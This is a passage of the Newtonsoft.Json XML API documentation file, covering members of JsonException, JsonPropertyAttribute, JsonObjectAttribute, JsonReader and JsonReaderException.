Id.\n            </summary>\n            <param name=\"id\">The container Id.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonException\">\n            <summary>\n            The exception thrown when an error occurs during JSON serialization or deserialization.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonException.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonException\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonException.#ctor(System.String)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonException\"/> class\n            with a specified error message.\n            </summary>\n            <param name=\"message\">The error message that explains the reason for the exception.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonException.#ctor(System.String,System.Exception)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonException\"/> class\n            with a specified error message and a reference to the inner exception that is the cause of this exception.\n            </summary>\n            <param name=\"message\">The error message that explains the reason for the exception.</param>\n            <param name=\"innerException\">The exception that is the cause of the current exception, or <c>null</c> if no inner exception is specified.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonException.#ctor(System.Runtime.Serialization.SerializationInfo,System.Runtime.Serialization.StreamingContext)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonException\"/> class.\n            </summary>\n            <param name=\"info\">The <see cref=\"T:System.Runtime.Serialization.SerializationInfo\"/> that holds the serialized object data about the exception being thrown.</param>\n            <param name=\"context\">The <see cref=\"T:System.Runtime.Serialization.StreamingContext\"/> that contains contextual information about the source or destination.</param>\n            <exception cref=\"T:System.ArgumentNullException\">The <paramref name=\"info\"/> parameter is <c>null</c>.</exception>\n            <exception cref=\"T:System.Runtime.Serialization.SerializationException\">The class name is <c>null</c> or <see cref=\"P:System.Exception.HResult\"/> is zero (0).</exception>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonExtensionDataAttribute\">\n            <summary>\n            Instructs the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> to deserialize properties with no matching class member into the specified collection\n            and write values during serialization.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonExtensionDataAttribute.WriteData\">\n            <summary>\n            Gets or sets a value that indicates whether to write extension data when serializing the object.\n            </summary>\n            <value>\n            \t<c>true</c> to write extension data when serializing the object; otherwise, <c>false</c>. The default is <c>true</c>.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonExtensionDataAttribute.ReadData\">\n            <summary>\n            Gets or sets a value that indicates whether to read extension data when deserializing the object.\n            </summary>\n            <value>\n            \t<c>true</c> to read extension data when deserializing the object; otherwise, <c>false</c>. The default is <c>true</c>.\n            </value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonExtensionDataAttribute.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonExtensionDataAttribute\"/> class.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonIgnoreAttribute\">\n            <summary>\n            Instructs the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> not to serialize the public field or public read/write property value.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonNameTable\">\n            <summary>\n            Base class for a table of atomized string objects.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonNameTable.Get(System.Char[],System.Int32,System.Int32)\">\n            <summary>\n            Gets a string containing the same characters as the specified range of characters in the given array.\n            </summary>\n            <param name=\"key\">The character array containing the name to find.</param>\n            <param name=\"start\">The zero-based index into the array specifying the first character of the name.</param>\n            <param name=\"length\">The number of characters in the name.</param>\n            <returns>A string containing the same characters as the specified range of characters in the given array.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonObjectAttribute\">\n            <summary>\n            Instructs the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> how to serialize the object.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonObjectAttribute.MemberSerialization\">\n            <summary>\n            Gets or sets the member serialization.\n            </summary>\n            <value>The member serialization.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonObjectAttribute.MissingMemberHandling\">\n            <summary>\n            Gets or sets the missing member handling used when deserializing this object.\n            </summary>\n            <value>The missing member handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonObjectAttribute.ItemNullValueHandling\">\n            <summary>\n            Gets or sets how the object's properties with null values are handled during serialization and deserialization.\n            </summary>\n            <value>How the object's properties with null values are handled during serialization and deserialization.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonObjectAttribute.ItemRequired\">\n            <summary>\n            Gets or sets a value that indicates whether the object's properties are required.\n            </summary>\n            <value>\n            \tA value indicating whether the object's properties are required.\n            </value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonObjectAttribute.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonObjectAttribute\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonObjectAttribute.#ctor(Newtonsoft.Json.MemberSerialization)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonObjectAttribute\"/> class with the specified member serialization.\n            </summary>\n            <param name=\"memberSerialization\">The member serialization.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonObjectAttribute.#ctor(System.String)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonObjectAttribute\"/> class with the specified container Id.\n            </summary>\n            <param name=\"id\">The container Id.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonPropertyAttribute\">\n            <summary>\n            Instructs the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> to always serialize the member with the specified name.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonPropertyAttribute.ItemConverterType\">\n            <summary>\n            Gets or sets the <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> type used when serializing the property's collection items.\n            </summary>\n            <value>The collection's items <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> type.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonPropertyAttribute.ItemConverterParameters\">\n            <summary>\n            The parameter list to use when constructing the <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> described by <see cref=\"P:Newtonsoft.Json.JsonPropertyAttribute.ItemConverterType\"/>.\n            If <c>null</c>, the default constructor is used.\n            When non-<c>null</c>, there must be a constructor defined in the <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> that exactly matches the number,\n            order, and type of these parameters.\n            </summary>\n            <example>\n            <code>\n            [JsonProperty(ItemConverterType = typeof(MyContainerConverter), ItemConverterParameters = new object[] { 123, \"Four\" })]\n            </code>\n            </example>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonPropertyAttribute.NamingStrategyType\">\n            <summary>\n            Gets or sets the <see cref=\"T:System.Type\"/> of the <see cref=\"T:Newtonsoft.Json.Serialization.NamingStrategy\"/>.\n            </summary>\n            <value>The <see cref=\"T:System.Type\"/> of the <see cref=\"T:Newtonsoft.Json.Serialization.NamingStrategy\"/>.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonPropertyAttribute.NamingStrategyParameters\">\n            <summary>\n            The parameter list to use when constructing the <see cref=\"T:Newtonsoft.Json.Serialization.NamingStrategy\"/> described by <see cref=\"P:Newtonsoft.Json.JsonPropertyAttribute.NamingStrategyType\"/>.\n            If <c>null</c>, the default constructor is used.\n            When non-<c>null</c>, there must be a constructor defined in the <see cref=\"T:Newtonsoft.Json.Serialization.NamingStrategy\"/> that exactly matches the number,\n            order, and type of these parameters.\n            </summary>\n            <example>\n            <code>\n            [JsonProperty(NamingStrategyType = typeof(MyNamingStrategy), NamingStrategyParameters = new object[] { 123, \"Four\" })]\n            </code>\n            </example>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonPropertyAttribute.NullValueHandling\">\n            <summary>\n            Gets or sets the null value handling used when serializing this property.\n            </summary>\n            <value>The null value handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonPropertyAttribute.DefaultValueHandling\">\n            <summary>\n            Gets or sets the default value handling used when serializing this property.\n            </summary>\n            <value>The default value handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonPropertyAttribute.ReferenceLoopHandling\">\n            <summary>\n            Gets or sets the reference loop handling used when serializing this property.\n            </summary>\n            <value>The reference loop handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonPropertyAttribute.ObjectCreationHandling\">\n            <summary>\n            Gets or sets the object creation handling used when deserializing this property.\n            </summary>\n            <value>The object creation handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonPropertyAttribute.TypeNameHandling\">\n            <summary>\n            Gets or sets the type name handling used when serializing this property.\n            </summary>\n            <value>The type name handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonPropertyAttribute.IsReference\">\n            <summary>\n            Gets or sets whether this property's value is serialized as a reference.\n            </summary>\n            <value>Whether this property's value is serialized as a reference.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonPropertyAttribute.Order\">\n            <summary>\n            Gets or sets the order of serialization of a member.\n            </summary>\n            <value>The numeric order of serialization.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonPropertyAttribute.Required\">\n            <summary>\n            Gets or sets a value indicating whether this property is required.\n            </summary>\n            <value>\n            \tA value indicating whether this property is required.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonPropertyAttribute.PropertyName\">\n            <summary>\n            Gets or sets the name of the property.\n            </summary>\n            <value>The name of the property.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonPropertyAttribute.ItemReferenceLoopHandling\">\n            <summary>\n            Gets or sets the reference loop handling used when serializing the property's collection items.\n            </summary>\n            <value>The collection's items reference loop handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonPropertyAttribute.ItemTypeNameHandling\">\n            <summary>\n            Gets or sets the type name handling used when serializing the property's collection items.\n            </summary>\n            <value>The collection's items type name handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonPropertyAttribute.ItemIsReference\">\n            <summary>\n            Gets or sets whether this property's collection items are serialized as a reference.\n            </summary>\n            <value>Whether this property's collection items are serialized as a reference.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonPropertyAttribute.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonPropertyAttribute\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonPropertyAttribute.#ctor(System.String)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonPropertyAttribute\"/> class with the specified name.\n            </summary>\n            <param name=\"propertyName\">Name of the property.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonReader\">\n            <summary>\n            Represents a reader that provides fast, non-cached, forward-only access to serialized JSON data.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.ReadAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously reads the next JSON token from the source.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task`1\"/> that represents the asynchronous read. The <see cref=\"P:System.Threading.Tasks.Task`1.Result\"/>\n            property returns <c>true</c> if the next token was read successfully; <c>false</c> if there are no more tokens to read.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.SkipAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously skips the children of the current token.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.ReadAsBooleanAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously reads the next JSON token from the source as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Boolean\"/>.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task`1\"/> that represents the asynchronous read. The <see cref=\"P:System.Threading.Tasks.Task`1.Result\"/>\n            property returns the <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Boolean\"/>. This result will be <c>null</c> at the end of an array.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.ReadAsBytesAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously reads the next JSON token from the source as a <see cref=\"T:System.Byte\"/>[].\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task`1\"/> that represents the asynchronous read. The <see cref=\"P:System.Threading.Tasks.Task`1.Result\"/>\n            property returns the <see cref=\"T:System.Byte\"/>[]. This result will be <c>null</c> at the end of an array.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.ReadAsDateTimeAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously reads the next JSON token from the source as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTime\"/>.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task`1\"/> that represents the asynchronous read. The <see cref=\"P:System.Threading.Tasks.Task`1.Result\"/>\n            property returns the <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTime\"/>. This result will be <c>null</c> at the end of an array.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.ReadAsDateTimeOffsetAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously reads the next JSON token from the source as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTimeOffset\"/>.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task`1\"/> that represents the asynchronous read. The <see cref=\"P:System.Threading.Tasks.Task`1.Result\"/>\n            property returns the <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTimeOffset\"/>. This result will be <c>null</c> at the end of an array.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.ReadAsDecimalAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously reads the next JSON token from the source as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Decimal\"/>.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task`1\"/> that represents the asynchronous read. The <see cref=\"P:System.Threading.Tasks.Task`1.Result\"/>\n            property returns the <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Decimal\"/>. This result will be <c>null</c> at the end of an array.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.ReadAsDoubleAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously reads the next JSON token from the source as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Double\"/>.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task`1\"/> that represents the asynchronous read. The <see cref=\"P:System.Threading.Tasks.Task`1.Result\"/>\n            property returns the <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Double\"/>. This result will be <c>null</c> at the end of an array.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.ReadAsInt32Async(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously reads the next JSON token from the source as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int32\"/>.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task`1\"/> that represents the asynchronous read. The <see cref=\"P:System.Threading.Tasks.Task`1.Result\"/>\n            property returns the <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int32\"/>. This result will be <c>null</c> at the end of an array.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.ReadAsStringAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously reads the next JSON token from the source as a <see cref=\"T:System.String\"/>.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task`1\"/> that represents the asynchronous read. The <see cref=\"P:System.Threading.Tasks.Task`1.Result\"/>\n            property returns the <see cref=\"T:System.String\"/>. This result will be <c>null</c> at the end of an array.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonReader.State\">\n            <summary>\n            Specifies the state of the reader.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonReader.State.Start\">\n            <summary>\n            A <see cref=\"T:Newtonsoft.Json.JsonReader\"/> read method has not been called.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonReader.State.Complete\">\n            <summary>\n            The end of the file has been reached successfully.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonReader.State.Property\">\n            <summary>\n            Reader is at a property.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonReader.State.ObjectStart\">\n            <summary>\n            Reader is at the start of an object.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonReader.State.Object\">\n            <summary>\n            Reader is in an object.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonReader.State.ArrayStart\">\n            <summary>\n            Reader is at the start of an array.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonReader.State.Array\">\n            <summary>\n            Reader is in an array.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonReader.State.Closed\">\n            <summary>\n            The <see cref=\"M:Newtonsoft.Json.JsonReader.Close\"/> method has been called.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonReader.State.PostValue\">\n            <summary>\n            Reader has just read a value.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonReader.State.ConstructorStart\">\n            <summary>\n            Reader is at the start of a constructor.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonReader.State.Constructor\">\n            <summary>\n            Reader is in a constructor.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonReader.State.Error\">\n            <summary>\n            An error occurred that prevents the read operation from continuing.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonReader.State.Finished\">\n            <summary>\n            The end of the file has been reached successfully.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonReader.CurrentState\">\n            <summary>\n            Gets the current reader state.\n            </summary>\n            <value>The current reader state.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonReader.CloseInput\">\n            <summary>\n            Gets or sets a value indicating whether the source should be closed when this reader is closed.\n            </summary>\n            <value>\n            <c>true</c> to close the source when this reader is closed; otherwise <c>false</c>. The default is <c>true</c>.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonReader.SupportMultipleContent\">\n            <summary>\n            Gets or sets a value indicating whether multiple pieces of JSON content can\n            be read from a continuous stream without erroring.\n            </summary>\n            <value>\n            <c>true</c> to support reading multiple pieces of JSON content; otherwise <c>false</c>.\n            The default is <c>false</c>.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonReader.QuoteChar\">\n            <summary>\n            Gets the quotation mark character used to enclose the value of a string.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonReader.DateTimeZoneHandling\">\n            <summary>\n            Gets or sets how <see cref=\"T:System.DateTime\"/> time zones are handled when reading JSON.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonReader.DateParseHandling\">\n            <summary>\n            Gets or sets how date formatted strings, e.g. \"\\/Date(1198908717056)\\/\" and \"2012-03-21T05:40Z\", are parsed when reading JSON.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonReader.FloatParseHandling\">\n            <summary>\n            Gets or sets how floating point numbers, e.g. 1.0 and 9.9, are parsed when reading JSON text.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonReader.DateFormatString\">\n            <summary>\n            Gets or sets how custom date formatted strings are parsed when reading JSON.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonReader.MaxDepth\">\n            <summary>\n            Gets or sets the maximum depth allowed when reading JSON. Reading past this depth will throw a <see cref=\"T:Newtonsoft.Json.JsonReaderException\"/>.\n            A null value means there is no maximum. \n            The default value is <c>128</c>.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonReader.TokenType\">\n            <summary>\n            Gets the type of the current JSON token. \n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonReader.Value\">\n            <summary>\n            Gets the text value of the current JSON token.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonReader.ValueType\">\n            <summary>\n            Gets the .NET type for the current JSON token.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonReader.Depth\">\n            <summary>\n            Gets the depth of the current token in the JSON document.\n            </summary>\n            <value>The depth of the current token in the JSON document.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonReader.Path\">\n            <summary>\n            Gets the path of the current JSON token. \n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonReader.Culture\">\n            <summary>\n            Gets or sets the culture used when reading JSON. Defaults to <see cref=\"P:System.Globalization.CultureInfo.InvariantCulture\"/>.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonReader\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.Read\">\n            <summary>\n            Reads the next JSON token from the source.\n            </summary>\n            <returns><c>true</c> if the next token was read successfully; <c>false</c> if there are no more tokens to read.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.ReadAsInt32\">\n            <summary>\n            Reads the next JSON token from the source as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int32\"/>.\n            </summary>\n            <returns>A <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int32\"/>. This method will return <c>null</c> at the end of an array.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.ReadAsString\">\n            <summary>\n            Reads the next JSON token from the source as a <see cref=\"T:System.String\"/>.\n            </summary>\n            <returns>A <see cref=\"T:System.String\"/>. This method will return <c>null</c> at the end of an array.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.ReadAsBytes\">\n            <summary>\n            Reads the next JSON token from the source as a <see cref=\"T:System.Byte\"/>[].\n            </summary>\n            <returns>A <see cref=\"T:System.Byte\"/>[] or <c>null</c> if the next JSON token is null. This method will return <c>null</c> at the end of an array.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.ReadAsDouble\">\n            <summary>\n            Reads the next JSON token from the source as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Double\"/>.\n            </summary>\n            <returns>A <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Double\"/>. This method will return <c>null</c> at the end of an array.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.ReadAsBoolean\">\n            <summary>\n            Reads the next JSON token from the source as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Boolean\"/>.\n            </summary>\n            <returns>A <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Boolean\"/>. This method will return <c>null</c> at the end of an array.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.ReadAsDecimal\">\n            <summary>\n            Reads the next JSON token from the source as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Decimal\"/>.\n            </summary>\n            <returns>A <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Decimal\"/>. This method will return <c>null</c> at the end of an array.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.ReadAsDateTime\">\n            <summary>\n            Reads the next JSON token from the source as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTime\"/>.\n            </summary>\n            <returns>A <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTime\"/>. This method will return <c>null</c> at the end of an array.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.ReadAsDateTimeOffset\">\n            <summary>\n            Reads the next JSON token from the source as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTimeOffset\"/>.\n            </summary>\n            <returns>A <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTimeOffset\"/>. This method will return <c>null</c> at the end of an array.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.Skip\">\n            <summary>\n            Skips the children of the current token.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.SetToken(Newtonsoft.Json.JsonToken)\">\n            <summary>\n            Sets the current token.\n            </summary>\n            <param name=\"newToken\">The new token.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.SetToken(Newtonsoft.Json.JsonToken,System.Object)\">\n            <summary>\n            Sets the current token and value.\n            </summary>\n            <param name=\"newToken\">The new token.</param>\n            <param name=\"value\">The value.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.SetToken(Newtonsoft.Json.JsonToken,System.Object,System.Boolean)\">\n            <summary>\n            Sets the current token and value.\n            </summary>\n            <param name=\"newToken\">The new token.</param>\n            <param name=\"value\">The value.</param>\n            <param name=\"updateIndex\">A flag indicating whether the position index inside an array should be updated.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.SetStateBasedOnCurrent\">\n            <summary>\n            Sets the state based on current token type.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.Dispose(System.Boolean)\">\n            <summary>\n            Releases unmanaged and - optionally - managed resources.\n            </summary>\n            <param name=\"disposing\"><c>true</c> to release both managed and unmanaged resources; <c>false</c> to release only unmanaged resources.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.Close\">\n            <summary>\n            Changes the reader's state to <see cref=\"F:Newtonsoft.Json.JsonReader.State.Closed\"/>.\n            If <see cref=\"P:Newtonsoft.Json.JsonReader.CloseInput\"/> is set to <c>true</c>, the source is also closed.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonReaderException\">\n            <summary>\n            The exception thrown when an error occurs while reading JSON text.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonReaderException.LineNumber\">\n            <summary>\n            Gets the line number indicating where the error occurred.\n            </summary>\n            <value>The line number indicating where the error occurred.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonReaderException.LinePosition\">\n            <summary>\n            Gets the line position indicating where the error occurred.\n            </summary>\n            <value>The line position indicating where the error occurred.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonReaderException.Path\">\n            <summary>\n            Gets the path to the JSON where the error occurred.\n            </summary>\n            <value>The path to the JSON where the error occurred.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReaderException.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonReaderException\"/> class.\n            </summary>\n        </member>\n        <member 